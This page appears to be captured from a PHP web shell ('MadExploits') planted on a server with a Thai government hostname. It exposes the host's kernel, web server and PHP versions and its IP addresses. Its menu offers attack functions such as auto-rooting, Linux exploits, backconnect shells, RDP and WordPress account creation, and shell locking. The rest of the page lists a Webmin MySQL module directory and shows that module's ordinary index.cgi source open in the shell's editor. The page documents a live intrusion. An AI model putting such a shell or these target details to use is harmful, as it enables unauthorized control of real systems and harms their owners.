Linux ns8.secondary29.go.th 2.6.32-754.28.1.el6.x86_64 #1 SMP Wed Mar 11 18:38:45 UTC 2020 x86_64
Apache/2.2.15 (CentOS)
: 122.154.134.11 | : 122.154.134.9
Cant Read [ /etc/named.conf ]
5.6.40
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
libexec /
webmin /
mysql /
[ HOME SHELL ]
Name
Size
Permission
Action
help
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
CHANGELOG
8.12
KB
-rw-r--r--
acl_security.pl
4.43
KB
-rwxr-xr-x
backup.pl
4.13
KB
-rwxr-xr-x
backup_config.pl
1.01
KB
-rwxr-xr-x
backup_db.cgi
7.91
KB
-rwxr-xr-x
backup_form.cgi
6.59
KB
-rwxr-xr-x
cgi_args.pl
577
B
-rwxr-xr-x
config
516
B
-rw-r--r--
config-Amazon-Linux-2-ALL
397
B
-rw-r--r--
config-CentOS-Linux-7.0-ALL
397
B
-rw-r--r--
config-Redhat-Enterprise-Linux...
397
B
-rw-r--r--
config-Scientific-Linux-7.0-AL...
397
B
-rw-r--r--
config-Ubuntu-Linux-16.04-17.9...
447
B
-rw-r--r--
config-Ubuntu-Linux-18.04-ALL
440
B
-rw-r--r--
config-aix
473
B
-rw-r--r--
config-cobalt-linux
411
B
-rw-r--r--
config-coherent-linux
413
B
-rw-r--r--
config-debian-linux
410
B
-rw-r--r--
config-debian-linux-2.2-ALL
430
B
-rw-r--r--
config-freebsd
473
B
-rw-r--r--
config-freebsd-8-ALL
510
B
-rw-r--r--
config-gentoo-linux
407
B
-rw-r--r--
config-mandrake-linux
393
B
-rw-r--r--
config-mandrake-linux-10.1-ALL
395
B
-rw-r--r--
config-msc-linux
415
B
-rw-r--r--
config-netbsd
425
B
-rw-r--r--
config-open-linux
411
B
-rw-r--r--
config-openmamba-linux
411
B
-rw-r--r--
config-pardus-linux
340
B
-rw-r--r--
config-redhat-linux
411
B
-rw-r--r--
config-redhat-linux-24.0
415
B
-rw-r--r--
config-redhat-linux-25.0-ALL
417
B
-rw-r--r--
config-redhat-linux-7.0-23.0
413
B
-rw-r--r--
config-slackware-linux-8.0-ALL
443
B
-rw-r--r--
config-sol-linux
449
B
-rw-r--r--
config-solaris-10
434
B
-rw-r--r--
config-solaris-11-ALL
484
B
-rw-r--r--
config-solaris-9
492
B
-rw-r--r--
config-suse-linux
403
B
-rw-r--r--
config-suse-linux-7.1-ALL
401
B
-rw-r--r--
config-syno-linux
522
B
-rwxr-xr-x
config-trustix-linux
401
B
-rw-r--r--
config-turbo-linux
411
B
-rw-r--r--
config-united-linux
401
B
-rw-r--r--
config-windows
562
B
-rw-r--r--
config.info
1.49
KB
-rw-r--r--
config.info.bg
1.74
KB
-rw-r--r--
config.info.bg.UTF-8
2.75
KB
-rw-r--r--
config.info.ca
1.67
KB
-rw-r--r--
config.info.ca.UTF-8
1.7
KB
-rw-r--r--
config.info.cz
1.37
KB
-rw-r--r--
config.info.cz.UTF-8
1.46
KB
-rw-r--r--
config.info.de
1.64
KB
-rw-r--r--
config.info.de.UTF-8
1.64
KB
-rw-r--r--
config.info.es
803
B
-rw-r--r--
config.info.es.UTF-8
813
B
-rw-r--r--
config.info.fi
0
B
-rw-r--r--
config.info.fr
0
B
-rw-r--r--
config.info.hu
1.24
KB
-rw-r--r--
config.info.hu.UTF-8
1.32
KB
-rw-r--r--
config.info.it
1.54
KB
-rw-r--r--
config.info.it.UTF-8
1.54
KB
-rw-r--r--
config.info.ja_JP.UTF-8
1.7
KB
-rw-r--r--
config.info.ja_JP.euc
1.31
KB
-rw-r--r--
config.info.nl
1.67
KB
-rw-r--r--
config.info.nl.UTF-8
1.67
KB
-rw-r--r--
config.info.no
1.58
KB
-rw-r--r--
config.info.no.UTF-8
1.58
KB
-rw-r--r--
config.info.pl
779
B
-rw-r--r--
config.info.pl.UTF-8
808
B
-rw-r--r--
config.info.pt_BR
1.88
KB
-rw-r--r--
config.info.pt_BR.UTF-8
1.83
KB
-rw-r--r--
config.info.ru.UTF-8
1.26
KB
-rw-r--r--
config.info.ru_RU
827
B
-rw-r--r--
config.info.ru_RU.UTF-8
1.26
KB
-rw-r--r--
config.info.ru_SU
827
B
-rw-r--r--
config.info.sv
657
B
-rw-r--r--
config.info.sv.UTF-8
677
B
-rw-r--r--
config.info.tr
1.06
KB
-rw-r--r--
config.info.uk_UA
864
B
-rw-r--r--
config.info.uk_UA.UTF-8
1.29
KB
-rw-r--r--
config.info.zh_CN
262
B
-rw-r--r--
config.info.zh_CN.UTF-8
320
B
-rw-r--r--
config.info.zh_TW.Big5
722
B
-rw-r--r--
config.info.zh_TW.UTF-8
891
B
-rw-r--r--
config_info.pl
575
B
-rwxr-xr-x
cpan_modules.pl
84
B
-rwxr-xr-x
create_table.cgi
1.02
KB
-rwxr-xr-x
csv.cgi
2.26
KB
-rwxr-xr-x
csv_form.cgi
1.67
KB
-rwxr-xr-x
defaultacl
85
B
-rw-r--r--
delete_cprivs.cgi
1.15
KB
-rwxr-xr-x
delete_dbs.cgi
1.04
KB
-rwxr-xr-x
delete_fields.cgi
665
B
-rwxr-xr-x
delete_hosts.cgi
1018
B
-rwxr-xr-x
delete_tprivs.cgi
1.1
KB
-rwxr-xr-x
delete_users.cgi
941
B
-rwxr-xr-x
download.cgi
1.07
KB
-rwxr-xr-x
drop_dbase.cgi
1.86
KB
-rwxr-xr-x
drop_dbases.cgi
1.39
KB
-rwxr-xr-x
drop_table.cgi
1.27
KB
-rwxr-xr-x
drop_tables.cgi
1.75
KB
-rwxr-xr-x
edit_cnf.cgi
2.92
KB
-rwxr-xr-x
edit_cpriv.cgi
2.34
KB
-rwxr-xr-x
edit_db.cgi
1.73
KB
-rwxr-xr-x
edit_dbase.cgi
6.46
KB
-rwxr-xr-x
edit_field.cgi
4.99
KB
-rwxr-xr-x
edit_host.cgi
1.48
KB
-rwxr-xr-x
edit_index.cgi
1.83
KB
-rwxr-xr-x
edit_manual.cgi
952
B
-rwxr-xr-x
edit_table.cgi
2.85
KB
-rwxr-xr-x
edit_tpriv.cgi
2.21
KB
-rwxr-xr-x
edit_user.cgi
3.28
KB
-rwxr-xr-x
edit_view.cgi
2.17
KB
-rwxr-xr-x
exec.cgi
1.53
KB
-rwxr-xr-x
exec_file.cgi
2.45
KB
-rwxr-xr-x
exec_form.cgi
3.62
KB
-rwxr-xr-x
import.cgi
1.99
KB
-rwxr-xr-x
index.cgi
9.91
KB
-rwxr-xr-x
install_check.pl
549
B
-rwxr-xr-x
kill_procs.cgi
385
B
-rwxr-xr-x
list_cprivs.cgi
2.21
KB
-rwxr-xr-x
list_dbs.cgi
1.89
KB
-rwxr-xr-x
list_hosts.cgi
1.76
KB
-rwxr-xr-x
list_procs.cgi
1.42
KB
-rwxr-xr-x
list_tprivs.cgi
2.03
KB
-rwxr-xr-x
list_users.cgi
2.73
KB
-rwxr-xr-x
list_vars.cgi
1.72
KB
-rwxr-xr-x
log_parser.pl
3.14
KB
-rwxr-xr-x
login.cgi
748
B
-rwxr-xr-x
module.info
190
B
-rw-r--r--
module.info.ca
127
B
-rw-r--r--
module.info.ca.UTF-8
139
B
-rw-r--r--
module.info.cz
32
B
-rw-r--r--
module.info.cz.UTF-8
40
B
-rw-r--r--
module.info.de
127
B
-rw-r--r--
module.info.de.UTF-8
139
B
-rw-r--r--
module.info.es
40
B
-rw-r--r--
module.info.es.UTF-8
46
B
-rw-r--r--
module.info.fr
47
B
-rw-r--r--
module.info.fr.UTF-8
53
B
-rw-r--r--
module.info.hu
34
B
-rw-r--r--
module.info.hu.UTF-8
41
B
-rw-r--r--
module.info.it
33
B
-rw-r--r--
module.info.it.UTF-8
39
B
-rw-r--r--
module.info.ja_JP.UTF-8
52
B
-rw-r--r--
module.info.ja_JP.euc
41
B
-rw-r--r--
module.info.ko_KR.UTF-8
49
B
-rw-r--r--
module.info.ko_KR.euc
39
B
-rw-r--r--
module.info.ms_MY
148
B
-rw-r--r--
module.info.ms_MY.UTF-8
160
B
-rw-r--r--
module.info.nl
30
B
-rw-r--r--
module.info.nl.UTF-8
36
B
-rw-r--r--
module.info.no
29
B
-rw-r--r--
module.info.no.UTF-8
35
B
-rw-r--r--
module.info.pl
34
B
-rw-r--r--
module.info.pl.UTF-8
40
B
-rw-r--r--
module.info.pt
40
B
-rw-r--r--
module.info.pt.UTF-8
46
B
-rw-r--r--
module.info.ru.UTF-8
53
B
-rw-r--r--
module.info.ru_RU
35
B
-rw-r--r--
module.info.ru_RU.UTF-8
56
B
-rw-r--r--
module.info.ru_SU
35
B
-rw-r--r--
module.info.sv
28
B
-rw-r--r--
module.info.sv.UTF-8
34
B
-rw-r--r--
module.info.tr
34
B
-rw-r--r--
module.info.zh_CN
30
B
-rw-r--r--
module.info.zh_TW.Big5
35
B
-rw-r--r--
mysql-lib.pl
39.02
KB
-rwxr-xr-x
newdb.cgi
1.07
KB
-rwxr-xr-x
newdb_form.cgi
1.45
KB
-rwxr-xr-x
postinstall.pl
158
B
-rw-r--r--
root_form.cgi
830
B
-rwxr-xr-x
save_cnf.cgi
2.82
KB
-rwxr-xr-x
save_cpriv.cgi
2.66
KB
-rwxr-xr-x
save_db.cgi
2.68
KB
-rwxr-xr-x
save_field.cgi
4.72
KB
-rwxr-xr-x
save_host.cgi
2.35
KB
-rwxr-xr-x
save_index.cgi
1.39
KB
-rwxr-xr-x
save_manual.cgi
526
B
-rwxr-xr-x
save_root.cgi
1.11
KB
-rwxr-xr-x
save_sync.cgi
454
B
-rwxr-xr-x
save_tpriv.cgi
2.58
KB
-rwxr-xr-x
save_user.cgi
4.55
KB
-rwxr-xr-x
save_vars.cgi
755
B
-rwxr-xr-x
save_view.cgi
1.84
KB
-rwxr-xr-x
search_form.cgi
1.38
KB
-rwxr-xr-x
start.cgi
218
B
-rwxr-xr-x
stop.cgi
203
B
-rwxr-xr-x
syslog_logs.pl
739
B
-rwxr-xr-x
table_form.cgi
1.95
KB
-rwxr-xr-x
useradmin_update.pl
3.29
KB
-rwxr-xr-x
view-lib.pl
3.56
KB
-rwxr-xr-x
view_table.cgi
14.58
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : index.cgi
#!/usr/bin/perl # index.cgi # Display all existing databases require './mysql-lib.pl'; &ReadParse(); # Check for MySQL programs if ($config{'start_cmd'} =~ /^(\S+)/ && &is_mysql_local()) { $start = $1; } foreach $p ( [ $config{'mysqladmin'}, 'index_eadmin', 'index_mysqladmin' ], [ $config{'mysql'}, 'index_esql', 'index_mysql' ], [ $config{'mysqlshow'}, 'index_eshow', 'index_mysqlshow' ], $start ? ( [ $start, 'index_estart', 'index_mysqlstart' ] ) : ( )) { if (!&has_command($p->[0])) { &ui_print_header(undef, $text{'index_title'}, "", "intro", 1, 1, 0, &help_search_link("mysql", "man", "doc", "google")); print &text($p->[1], "<tt>$p->[0]</tt>", "$gconfig{'webprefix'}/config.cgi?$module_name"),"<p>\n"; &foreign_require("software", "software-lib.pl"); $lnk = &software::missing_install_link( "mysql", $text{$p->[2]}, "../$module_name/", $text{'index_title'}); print $lnk,"<p>\n" if ($lnk); &ui_print_footer("/", $text{'index'}); exit; } } # Try to get the MySQL version $mysql_version = &get_mysql_version(\$out); if ($mysql_version < 0) { &ui_print_header(undef, $text{'index_title'}, "", "intro", 1, 1, 0, &help_search_link("mysql", "man", "doc", "google")); print &text('index_elibrary', "<tt>$config{'mysql'}</tt>", "../config.cgi?$module_name"),"<p>\n"; print &text('index_mysqlver', "$config{'mysql'} -V"),"\n"; print "<pre>$out</pre>\n"; &ui_print_footer("/", $text{'index'}); exit; } elsif (!$mysql_version) { &ui_print_header(undef, $text{'index_title'}, "", "intro", 1, 1, 0, &help_search_link("mysql", "man", "doc", "google")); print &text('index_ever', "<tt>$config{'mysql'}</tt>", "../config.cgi?$module_name"),"<p>\n"; print &text('index_mysqlver', "$config{'mysql'} -V"),"\n"; print "<pre>$out</pre>\n"; &ui_print_footer("/", $text{'index'}); exit; } &save_mysql_version($mysql_version); # Check if MYSQL_PWD works ($r, $rout) = &is_mysql_running(); if ($r > 0 && !&working_env_pass()) { &ui_print_header(undef, $text{'index_title'}, "", "intro", 1, 1, 0, &help_search_link("mysql", "man", "doc", "google")); print &text('index_eenvpass', "<tt>$config{'mysql'}</tt>", "../config.cgi?$module_name"),"<p>\n"; &ui_print_footer("/", $text{'index'}); exit; } # Check if my.cnf was found if (&is_mysql_local() && $config{'my_cnf'} && !-r $config{'my_cnf'}) { &ui_print_header(undef, $text{'index_title'}, "", "intro", 1, 1, 0, &help_search_link("mysql", "man", "doc", "google")); print &text('index_ecnf', "<tt>$config{'my_cnf'}</tt>", "../config.cgi?$module_name"),"<p>\n"; &ui_print_footer("/", $text{'index'}); exit; } if ($r == 0) { # Not running .. need to start it &main_header(); print "<p> <b>$text{'index_notrun'}</b> <p>\n"; print &text('index_emsg', "<tt>$rout</tt>"),"<p>\n"; if ($access{'stop'} && &is_mysql_local()) { print &ui_hr(); print &ui_buttons_start(); print &ui_buttons_row("start.cgi", $text{'index_start'}, &text('index_startmsg', "<tt>$config{'start_cmd'}</tt>")); print &ui_buttons_end(); } } elsif ($r == -1) { # Running, but webmin doesn't know the root (or user's) password! &main_header(); print "<b>$text{'index_nopass'}</b> <p>\n"; print &ui_form_start("login.cgi", "post"); print &ui_table_start($text{'index_ltitle'}, undef, 2); print &ui_table_row($text{'index_login'}, &ui_textbox("login", $access{'user'} || $config{'login'}, 40)); print &ui_table_row($text{'index_pass'}, &ui_password("pass", undef, 40)); print &ui_table_end(); print &ui_form_end([ [ undef, $text{'save'} ] ]); print &text('index_emsg', "<tt>$rout</tt>"),"<p>\n"; } else { # Check if we can re-direct to a single DB's page @alldbs = &list_databases(); @titles = grep { &can_edit_db($_) } @alldbs; $can_all = (@alldbs == @titles); if (@titles == 1 && $access{'dbs'} ne '*' && !$access{'perms'} && !$access{'stop'} && !$access{'create'} && $access{'noconfig'}) { # Only one DB, so go direct to it! &redirect("edit_dbase.cgi?db=$titles[0]"); exit; } &main_header(&get_remote_mysql_variant()); print &ui_subheading($text{'index_dbs'}) if ($access{'perms'}); if ($in{'search'}) { # Limit to those matching search @titles = grep { /\Q$in{'search'}\E/i } @titles; print "<table width=100%><tr>\n"; print "<td> <b>",&text('index_showing', "<tt>".&html_escape($in{'search'})."</tt>"),"</b></td>\n"; print "<td align=right><a href='index.cgi'>", "$text{'view_searchreset'}</a></td>\n"; print "</tr></table>\n"; } elsif ($in{'show'}) { # Limit to specific databases %show = map { $_, 1 } split(/\0/, $in{'show'}); @titles = grep { $show{$_} } @titles; } # DB is running .. list databases @icons = map { "images/db.gif" } @titles; @links = map { "edit_dbase.cgi?db=$_" } @titles; $can_create = $access{'create'} == 1 || $access{'create'} == 2 && @titles < $access{'max'}; @rowlinks = ( ); push(@rowlinks, "<a href=newdb_form.cgi>$text{'index_add'}</a>") if ($can_create); if (!@icons) { # No databases .. tell user if ($in{'search'}) { print "<b>$text{'index_nodbs3'}</b> <p>\n"; } elsif (@alldbs) { print "<b>$text{'index_nodbs'}</b> <p>\n"; } else { print "<b>$text{'index_nodbs2'}</b> <p>\n"; } } elsif (@icons > $max_dbs && !$in{'search'} && !$in{'show'}) { # Too many databases to show .. display search and jump forms print &ui_form_start("index.cgi"); print $text{'index_toomany'},"\n"; print &ui_textbox("search", undef, 20),"\n"; print &ui_submit($text{'index_search'}),"<br>\n"; print &ui_form_end(); print &ui_form_start("edit_dbase.cgi"); print $text{'index_jump'},"\n"; print &ui_select("db", undef, [ map { [ $_ ] } @titles ], 1, 0, 0, 0, "onChange='form.submit()'"),"\n"; print &ui_submit($text{'index_jumpok'}),"<br>\n"; print &ui_form_end(); } else { # Show table of databases if ($access{'delete'}) { print &ui_form_start("drop_dbases.cgi"); unshift(@rowlinks, &select_all_link("d", 0), &select_invert_link("d", 0)); } print &ui_links_row(\@rowlinks); @checks = @titles; if ($displayconfig{'style'} == 1) { # Show as DB names and table counts @tables = map { @t = &list_tables($_); scalar(@t) } @titles; @titles = map { &html_escape($_) } @titles; &split_table([ "", $text{'index_db'}, $text{'index_tables'} ], \@checks, \@links, \@titles, \@tables) if (@titles); } elsif ($displayconfig{'style'} == 2) { # Show just DB names @grid = ( ); for(my $i=0; $i<@links; $i++) { push(@grid, &ui_checkbox("d", $titles[$i]). " <a href='$links[$i]'>". &html_escape($titles[$i])."</a>"); } print &ui_grid_table(\@grid, 4, 100, undef, undef, ""); } else { # Show name icons @checks = map { &ui_checkbox("d", $_) } @checks; @titles = map { &html_escape($_) } @titles; &icons_table(\@links, \@titles, \@icons, 5, undef, undef, undef, \@checks); } } print &ui_links_row(\@rowlinks); if (@icons && $access{'delete'} && (@icons <= $max_dbs || $in{'search'})) { print &ui_form_end([ [ "delete", $text{'index_drops'} ] ]); } if ($access{'perms'}) { # Show icons for editing user permissions and server settings print &ui_hr(); print &ui_subheading($text{'index_global'}); $canvars = &supports_variables(); $canhosts = &supports_hosts(); @links = ( 'list_users.cgi', 'list_dbs.cgi', $canhosts ? ( 'list_hosts.cgi' ) : ( ), 'list_tprivs.cgi', 'list_cprivs.cgi', 'edit_cnf.cgi', 'edit_manual.cgi', 'list_procs.cgi', $canvars ? ( 'list_vars.cgi' ) : ( ), 'root_form.cgi', ); @titles = ( $text{'users_title'}, $text{'dbs_title'}, $canhosts ? ( $text{'hosts_title'} ) : ( ), $text{'tprivs_title'}, $text{'cprivs_title'}, $text{'cnf_title'}, $text{'manual_title'}, $text{'procs_title'}, $canvars ? ( $text{'vars_title'} ) : ( ), $text{'root_title'}, ); @images = ( 'images/users.gif', 'images/dbs.gif', $canhosts ? ( 'images/hosts.gif' ) : ( ), 'images/tprivs.gif', 'images/cprivs.gif', 'images/cnf.gif', 'images/manual.gif', 'images/procs.gif', $canvars ? ( 'images/vars.gif' ) : ( ), 'images/root.gif', ); if ($access{'perms'} == 2) { # Remove my.cnf and database connections icons @links = @links[0..4]; @titles = @titles[0..4]; @images = @images[0..4]; } &icons_table(\@links, \@titles, \@images, 5); } if ($access{'stop'} && &is_mysql_local() || $can_all && !$access{'edonly'} && $access{'buser'}) { print &ui_hr(); print &ui_buttons_start(); $started_buttons_row = 1; } # Show stop button if ($access{'stop'} && &is_mysql_local()) { print &ui_buttons_row("stop.cgi", $text{'index_stop'}, $text{'index_stopmsg'}); } # Show backup all button if ($can_all && !$access{'edonly'} && $access{'buser'}) { print &ui_buttons_row("backup_form.cgi", $text{'index_backup'}, $text{'index_backupmsg'}, &ui_hidden("all", 1)); } print &ui_buttons_end() if ($started_buttons_row); # Check if the optional perl modules are installed if (foreign_available("cpan")) { eval "use DBI"; push(@needs, "DBI") if ($@); $nodbi++ if ($@); eval "use DBD::mysql"; push(@needs, "DBD::mysql") if ($@); if (@needs) { $needs = &urlize(join(" ", @needs)); print "<center><b>",&text(@needs == 2 ? 'index_nomods' : 'index_nomod', @needs, "/cpan/download.cgi?source=3&cpan=$needs&mode=2&return=/$module_name/&returndesc=".&urlize($text{'index_return'})), "</b></center>\n"; } } } &ui_print_footer("/", "index"); # main_header(ver, variant) sub main_header { my ($ver, $variant) = @_; if (!$ver) { $ver = $mysql_version; $variant = "mysql"; } my $vn = $variant eq "mysql" ? "MySQL" : "MariaDB"; &ui_print_header(undef, $text{'index_title'}, "", "intro", 1, 1, 0, &help_search_link("mysql", "man", "doc", "google"), undef, undef, $config{'host'} ? &text('index_version2', $ver, $config{'host'}, $vn) : &text('index_version', $ver, $vn)); }
Close